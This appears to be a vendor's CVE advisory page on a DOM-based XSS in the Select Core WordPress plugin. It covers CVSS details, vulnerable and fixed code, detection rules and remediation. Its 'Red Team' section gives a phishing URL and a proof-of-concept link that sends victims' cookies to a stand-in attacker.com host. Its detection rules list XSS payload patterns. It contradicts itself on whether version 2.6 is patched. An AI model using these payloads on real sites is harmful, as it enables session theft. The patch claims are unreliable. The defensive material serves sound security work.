CVE-2025-67539
Executive Summary
CVE-2025-67539 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Select Core plugin for WordPress, developed by Select-themes. The vulnerability exists in versions prior to 2.6, where user-supplied input is improperly neutralized during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser within the context of the vulnerable WordPress site. This flaw can be exploited without authentication, requiring only that a victim visits a crafted link or page. The CVSS score of 6.5 (Medium) reflects the low complexity and network-based attack vector, though the impact is limited to confidentiality and integrity of user data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party theme bundles. Organizations using Select Core should verify they are running version 2.6 or later. Since no official patch has been confirmed, users must apply virtual patching or disable the plugin until an update is released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the lack of a confirmed patch and the widespread use of WordPress plugins elevate the risk for unpatched installations.
Deep Dive & Mechanics
The vulnerability resides in the select-core plugin's JavaScript handling of DOM elements. The plugin fails to sanitize user-controlled input before inserting it into the DOM via methods like innerHTML or document.write. An attacker can craft a URL or input field containing a payload such as:
#<img src=x onerror=alert('XSS')>
When the victim's browser processes the page, the malicious script executes because the input is not properly escaped. The attack is DOM-based, meaning the payload never reaches the server; it is processed entirely client-side, bypassing server-side filters.
Vulnerable vs. Patched Code
Vulnerable Code (version < 2.6):
// Example vulnerable function in select-core.js
function displayUserInput(input) {
var element = document.getElementById('output');
element.innerHTML = input; // Unsafe: directly sets innerHTML
}
Patched Code (version 2.6+):
// Patched version using textContent or sanitization
function displayUserInput(input) {
var element = document.getElementById('output');
element.textContent = input; // Safe: treats input as text
// Alternatively, use DOMPurify.sanitize(input) if HTML is required
}
The patch replaces innerHTML with textContent or applies proper sanitization using a library like DOMPurify.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with Select Core plugin version < 2.6.
- A victim user with a modern browser.
Exploit Steps:
- Craft a malicious URL:
http://target-site.com/page/#<img src=x onerror=alert(document.cookie)> - Send the link to the victim via phishing email or social engineering.
- When the victim clicks the link, the script executes, stealing cookies or performing actions on their behalf.
Proof-of-Concept (PoC):
<!-- Save as poc.html and host on attacker server -->
<a href="http://target-site.com/page/#<img src=x onerror=fetch('http://attacker.com/steal?cookie='+document.cookie)>">Click me</a>
Blue Team (Defensive)
Detection:
- Monitor web logs for requests containing
#<img,#<script, or similar patterns in the URL fragment. - Use browser-based CSP headers to block inline scripts.
Mitigation:
- Disable the Select Core plugin until an official patch is applied.
- Implement a Web Application Firewall (WAF) rule to block known XSS payloads in URL fragments.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with URL fragments containing
<script,<img onerror, orjavascript:. - Outbound connections to unknown domains from the victim's browser (e.g.,
attacker.com/steal).
- HTTP requests with URL fragments containing
Host IOCs:
- Unexpected JavaScript execution in the browser console.
- Modified DOM elements containing injected scripts.
File IOCs:
- Presence of
select-core.jswith version string less than2.6.
- Presence of
Detection Engineering
YARA Rule
rule Detect_Select_Core_XSS {
meta:
description = "Detects vulnerable Select Core plugin versions (< 2.6)"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67539"
strings:
$version = "Version: 2." ascii wide nocase
$vuln_func = "innerHTML" ascii wide nocase
condition:
$vuln_func and $version and filesize < 500KB
}
Sigma Rule
title: DOM-Based XSS via Select Core Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential DOM-based XSS attacks targeting Select Core plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '#<img'
- '#<script'
- '#<svg'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of hash fragments in URLs
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67539 DOM-Based XSS in Select Core"; flow:to_server,established; content:"#<img"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Select Core plugin if version < 2.6 is in use.
- Patch: Upgrade to version 2.6 or later as soon as it becomes available.
- Virtual Patching: Deploy WAF rules to block XSS payloads in URL fragments.
- CSP Implementation: Add
Content-Security-Policy: script-src 'self'to prevent inline script execution. - User Education: Train users to avoid clicking suspicious links, especially those with unusual URL fragments.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.